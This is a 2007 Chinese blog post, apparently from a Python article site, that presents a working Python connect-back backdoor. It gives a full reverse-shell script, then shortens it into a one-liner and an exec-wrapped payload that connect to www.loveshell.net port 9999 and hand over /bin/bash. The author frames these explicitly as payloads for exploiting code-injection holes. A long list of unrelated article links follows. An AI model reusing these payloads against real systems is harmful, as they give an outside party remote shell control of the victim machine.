在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
Python操作列表之List.insert()方法的使用
May 20 Python
Python的标准模块包json详解
Mar 13 Python
Python爬虫_城市公交、地铁站点和线路数据采集实例
Jan 10 Python
详谈python在windows中的文件路径问题
Apr 28 Python
Python处理菜单消息操作示例【基于win32ui模块】
May 09 Python
Python通过调用有道翻译api实现翻译功能示例
Jul 19 Python
选择python进行数据分析的理由和优势
Jun 25 Python
Python代码使用 Pyftpdlib实现FTP服务器功能
Jul 22 Python
浅析PyTorch中nn.Module的使用
Aug 18 Python
关于torch.optim的灵活使用详解(包括重写SGD,加上L1正则)
Feb 20 Python
Python urlopen()参数代码示例解析
Dec 10 Python
python 闭包函数详细介绍
Apr 19 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
常见的PHP五种设计模式小结
2011/03/23 PHP
php上传图片类及用法示例
2016/05/11 PHP
PHP获取当前日期及本周一是几月几号的方法
2017/03/28 PHP
PHP设计模式之工厂模式实例总结
2017/09/01 PHP
javascript对数组的常用操作代码 数组方法总汇
2011/01/27 Javascript
jQuery EasyUI API 中文文档 - MenuButton菜单按钮使用介绍
2011/10/06 Javascript
引用其它js时如何同时处理多个window.onload事件
2014/09/02 Javascript
javascript中HTMLDOM操作详解
2014/12/11 Javascript
jQuery Validation Plugin验证插件手动验证
2016/01/26 Javascript
一道常被人轻视的web前端常见面试题(JS)
2016/02/15 Javascript
浅谈JavaScript中的this指针和引用知识
2016/08/05 Javascript
AngularJs bootstrap搭载前台框架——准备工作
2016/09/01 Javascript
Angularjs实现下拉框联动的示例代码
2017/08/22 Javascript
Array数组对象中的forEach、map、filter及reduce详析
2018/08/02 Javascript
浅析vue给不同环境配置不同打包命令
2018/08/17 Javascript
js限制输入框只能输入数字(onkeyup触发)
2018/09/28 Javascript
使用JS实现动态时钟
2020/03/12 Javascript
微信小程序自定义顶部组件customHeader的示例代码
2020/06/03 Javascript
详解Vue的七种传值方式
2021/02/08 Vue.js
Python fileinput模块使用介绍
2014/11/30 Python
Python基于matplotlib画箱体图检验异常值操作示例【附xls数据文件下载】
2019/01/07 Python
Python 定义只读属性的实现方式
2020/03/05 Python
如何学习Python time模块
2020/06/03 Python
Python devel安装失败问题解决方案
2020/06/09 Python
python在CMD界面读取excel所有数据的示例
2020/09/28 Python
Camper鞋西班牙官方网上商店:西班牙马略卡岛的鞋类品牌
2019/03/14 全球购物
迟到检讨书1000字
2014/01/15 职场文书
祖国在我心中演讲稿200字
2014/08/28 职场文书
新闻学专业职业生涯规划范文:我的人生我做主
2014/09/12 职场文书
音乐教师个人总结
2015/02/06 职场文书
如何用threejs实现实时多边形折射
2021/05/07 Javascript
MySQL sql_mode的使用详解
2021/05/08 MySQL
使用tensorflow 实现反向传播求导
2021/05/26 Python
Django使用redis配置缓存的方法
2021/06/01 Redis
Python实现生成bmp图像的方法
2021/06/13 Python
MySQL索引是啥?不懂就问
2021/07/21 MySQL